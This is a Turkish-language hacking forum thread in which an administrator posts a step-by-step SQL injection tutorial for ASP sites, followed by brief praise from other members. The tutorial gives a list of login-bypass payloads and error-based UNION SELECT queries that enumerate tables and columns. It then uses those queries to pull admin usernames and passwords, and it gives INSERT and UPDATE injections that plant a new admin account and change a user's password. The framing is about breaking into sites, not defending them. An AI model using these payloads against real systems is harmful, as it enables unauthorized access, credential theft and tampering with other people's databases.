![]() |
|
|||||||
| Yeni Başlayanlar Yeni başlayanlar sorularını,sorunlarınız. |

| ||
![]() |
|
|
Seçenekler | Stil |
![]() ASP SQL İnjection - By FaTaLiST | ||||||||||
|
(#1)
|
||||||||||
|
[99]Administrator
![]() ![]() ![]() >Mesaj Sayısı: 73
>Açtığı Konu: 17
Level: 7 [ ![]() ![]() ![]() ![]() ]Paylaşım: 0 / 161 Üyelik tarihi: Apr 2007
Nerden: iSTaNBuL
Rep Puani: 100
Rep Derecesi :
![]() ![]() |
ASP SQL İnjection - By FaTaLiST -
10-05-2007
Merhaba arkadaşlar.Bu konuda sizlere sql injection saldırıları hakkında bilgiler sunacağım.Döküman alıntı değildir.(ruhemici tarafından hazırlanmıştır)
SQL Nedir? Açılımı açılımı Structured Query Language(Yapısal sorgu dili)'dir.Sql ibm tarafından geliştirilmiş bir veritabanı dilidir.Bilindiği gibi asp,php gibi programlama dilleri veritabanı kulanır.Veritabanlarında tablolar saklanır ve bu tablolarda çeşitli bilgiler üye vs. bulunur.Sql istenilen bilgileri sorgulama türüne göre kullanıcıya sunar.Sql injection olayı da burada ortaya çıkar. Sql Injection Nedir? Basit olarak tanımlayacak olursak,veritabanı kullanan sitelerde bulunan kod açıklarından faydalanarak bazı kod girişleriyle sql'nin istediğimiz komutları çalıştırmasıdır.Örneğin;sitelerdeki üye girişi sayfalarında kullanıcı adı ve şifresiyle kişinin üye olup olmadığı veritabanına sorulur.Sql injection sql sorgusunu değiştirerek istediğimiz bilgiyi almamıza olanak verir. Sql Injection Açıklarını Bulmak Bu açıkları kullanıcıların bilgi gönderdiği yerlerde bulabiliriz.Yorum sayfaları,kullanıcı girişleri...Asp,php kullanılmış sayfalarda bazı sayflar parametre alır.Mesela ; ![]() Html sayfalarında ise durum farklıdır.Html sayfalarında sayfa adresinde parametreleri göremezsiniz.Bu yüzden sayfanın kaynak kodlarını inceleriz.Kaynak kodlarında form etiketini aramalıyız. ![]() ![]() Bir sayfada açık olup olmadığını nasıl anlayabiliriz? Bunun için tek tırnak hilesi kullanılır.Adres kısmına tek tırnak yazın.Eğer ODBC hatası verirse o siteye sql injection saldırısı yapılabilir.Ancak,hepsinde olacak diye de bir kaide yoktur.ODBC hatalarıyla birçok bilgiye ulaşılabilir. admin’-- ’ or 0=0 -- " or 0=0 -- or 0=0 -- ’ or 0=0 # " or 0=0 # or 0=0 # ’ or ’x’=’x " or "x"="x ’) or (’x’=’x ’ or 1=1-- " or 1=1-- or 1=1-- ’ or a=a-- " or "a"="a ’) or (’a’=’a ") or ("a"="a hi" or "a"="a hi" or 1=1 -- hi’ or 1=1 -- hi’ or ’a’=’a hi’) or (’a’=’a hi") or ("a"="a gibi kodlarla da sql hata vermeye zorlanabilir.Bu kodları yazmaktaki amaç sql'nin normal şartlarda bize sunmadığı bilgileri sunmasını sağlamaktır.Örneğin tablo isimleri gibi. Tablo isimlerini öğrenelim Sitemiz [Linkleri Sadece Üyeler Görebilir..] olsun. Şimdi ilk tablonun ismini öğrenelim.Adresin sonuna şu kodu eklemeliyiz. Kod: UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES– Yani son hali şu şekilde olacak ; ![]() INFORMATION_SCHEMA.TABLES tüm tabloların bilgisini saklıyor.Tablolar hakkında henüz bilgimiz olmadığı için bunu kullandık. TOP 1 TABLE_NAME ise 1.tablodur.UNION ise hata vermesi için kullanılır.-- ise işlemi sonlandırmak içindir. Enter'a bastığımızda şöyle bir hata veriyor olacak. ![]() Gördüğünüz gibi bize 1.tablo adının ruh olduğunu söyledi. Sonraki tablonun adını almak için kodumuz ; Kod: [Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (’ruh')– Mesela içinde user geçen tablonunu adını almak için ; Kod: [Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25user%25’-- Böyle bir hata ile karşılaşacağız. ![]() İçinde admin geçenler için mesela aynı şey geçerli. Kod: [Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE ’%25admin%25’-- TABLES WHERE TABLE_NAME LIKE ’%25admin%25’ içinde admin gibi kelimeler olan tabloları göster demektir. Böylece hatamız; ![]() Şu anda admins isimli bir tablo bulduk.Şimdi sütun isimlerini öğreneceğiz. Sütun isimlerini öğrenmek Bunun için INFORMATION_SCHEMA.COLUMNS kullanılacak. Kod: [Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME LIKE = ’admins’-- ![]() Admins tablosundaki ilk sütun logon. Şimdi diğer sütunun ismine bakalım. Kod: [Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’admins’ WHERE COLUMN_NAME NOT IN (’logon’)-- Kod bu.Hatamız ; ![]() Diğer sütunun ismi LogonID imiş.Tablo ve sütun isimlerini öğrendik.Şimdi de kullanıcı adı ve şifreleri öğrenelim. Kullanıcı adı ve şifreler İlk önce admins tablosunun ilk sütunu olan logon'a bakalım. [Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 logon FROM admins-- Hata ; ![]() kullanıcı adı star.Üstelik yetkili.Şifresini bulmak için ise ; Kod: [Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 password FROM admins where logon=’ star ’-- Hatamız ; ![]() star kullanıcısın şifresi hack. Yeni bir kullanıcı eklemek Bunun için ; Kod: [Linkleri Sadece Üyeler Görebilir..] INSERT INTO ’admins’ (’logonID’, ’logon’, ’password’, ’details’) VALUES (666,’Ruhemici’,’ruh’,’NA’)-- Kullanıcı adı : Ruhemici Şifre : ruh olan bir kullanıcı veritabanına eklenmiş oldu. Veritabanındaki bir veriyi değiştirmek Mesela az önce bulduğumuz star kullanıcısının şifresini değiştirelim. Kod: [Linkleri Sadece Üyeler Görebilir..] UPDATE ’admins’ SET ’password’ = ’yenisifre’ WHERE loginname=’star’-- Böylece şifreyi yenişifre olarak değiştirmiş olduk. Sayısal bilgilere ulaşmak Az önce star kullanıcısının şifresini hack olarak bulduk.Ancak şifre eğer sayılardan oluşuyorsa durum değişir.Kodu uyguladığımızda bir hata vermeyecektir.Bunun için hata vermeyi garantilememiz gerekir. Kod: [Linkleri Sadece Üyeler Görebilir..] UNION SELECT TOP 1 convert(int, password%2b’%20bilgisayar’) FROM admins where login_name=’star2‘– star2 kullanıcısı diye bir kullanıcı olduğunu varsayalım.+ işareti(%2b ASCII kod karşılığı) ile bilgisayar kelimesiyle birleştirdik.Şifre sadece sayı olsa bile biz bunu bir kelime ile birleştirip sayısal bir değere dönüştürmesini sağladık ve sonuç ; ![]() star2 kullanıcısının şifresi 123456 Dökümanın sonu.Umarım faydalı olabilmişimdir.Bu arada örneklerde asp kullanıldı ancak sql php'de de çalışır. |
|||||||||
|
||||||||||
|
|
![]() Cevap: asp sql injection | ||||||||||
|
(#2)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() ![]() ![]() ![]() ![]() >Mesaj Sayısı: 3
>Açtığı Konu: 149
Level: 1 [ ]Paylaşım: 0 / 2 Üyelik tarihi: May 2007
Nerden: StarHack TeaM
Rep Puani: 401
Rep Derecesi :
![]() ![]() ![]() ![]() ![]() |
saolasın adminm süper döküman.
|
|||||||||
|
||||||||||
![]() Cevap: asp sql injection | ||||||||||
|
(#3)
|
||||||||||
|
[99]Administrator
![]() ![]() >Mesaj Sayısı: 427
>Açtığı Konu: 75
Level: 19 [ ![]() ![]() ]Paylaşım: 45 / 455 Üyelik tarihi: Apr 2007
Nerden: Fethiye / Underground
Yaş: 23
Rep Puani: 502
Rep Derecesi :
![]() |
Güzel Gerçekten
![]() |
|||||||||
|
||||||||||
![]() Cevap: asp sql injection | ||||||||||
|
(#4)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() >Mesaj Sayısı: 418
>Açtığı Konu: 120
Level: 19 [ ![]() ![]() ]Paylaşım: 45 / 450 Üyelik tarihi: Jun 2007
Rep Puani: 101
Rep Derecesi :
![]() ![]() |
bu siteye bole konular yakısır
|
|||||||||
|
||||||||||
![]() Cevap: asp sql injection | ||||||||||
|
(#5)
|
||||||||||
|
>Mesaj Sayısı: n/a
>Açtığı Konu: 5557
Level: -INF [ ]Paylaşım: NAN / -INF |
emek süper siteyede bu yakışır yararlı olur yeniler için
|
|||||||||
|
||||||||||
![]() Cevap: ASP SQL İnjection - By FaTaLiST | ||||||||||
|
(#6)
|
||||||||||
|
>Mesaj Sayısı: n/a
>Açtığı Konu: 5557
Level: -INF [ ]Paylaşım: NAN / -INF |
cok guzel anlatim cok saol.
|
|||||||||
|
||||||||||
![]() Cevap: ASP SQL İnjection - By FaTaLiST | ||||||||||
|
(#7)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() >Mesaj Sayısı: 37
>Açtığı Konu: 0
Level: 4 [ ![]() ![]() ]Paylaşım: 0 / 96 Üyelik tarihi: Apr 2007
Rep Puani: 100
Rep Derecesi :
![]() ![]() |
emegıne saglık
|
|||||||||
|
||||||||||
![]() Cevap: ASP SQL İnjection - By FaTaLiST | ||||||||||
|
(#8)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() >Mesaj Sayısı: 981
>Açtığı Konu: 150
Level: 27 [ ![]() ![]() ]Paylaşım: 133 / 669 Üyelik tarihi: Apr 2007
Nerden: :/win[33]
Rep Puani: 1083
Rep Derecesi :
![]() ![]() ![]() ![]() ![]() ![]() ![]() ![]() |
yine döktürmüşsünüz elinize sağlık
![]() |
|||||||||
|
||||||||||
![]() Cevap: ASP SQL İnjection - By FaTaLiST | ||||||||||
|
(#9)
|
||||||||||
|
[36]S.H.T Özel Üye
![]() ![]() ![]() >Mesaj Sayısı: 889
>Açtığı Konu: 109
Level: 26 [ ![]() ![]() ]Paylaşım: 128 / 641 Üyelik tarihi: Apr 2007
Nerden: sanane doktormusun
Rep Puani: 100
Rep Derecesi :
![]() ![]() |
anlatım super eline saglık
|
|||||||||
|
||||||||||
![]() Cevap: ASP SQL İnjection - By FaTaLiST | ||||||||||
|
(#10)
|
||||||||||
|
[10]Yeni Üye
![]() ![]() >Mesaj Sayısı: 153
>Açtığı Konu: 10
Level: 11 [ ![]() ]Paylaşım: 0 / 260 Üyelik tarihi: Apr 2007
Nerden: İsTanBuL!.. Taxim
Rep Puani: 104
Rep Derecesi :
![]() ![]() |
qerceqtende qüseL.... emeqe Sayqı
|
|||||||||
|
||||||||||
![]() |
| Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir) | |
| Seçenekler | |
| Stil | |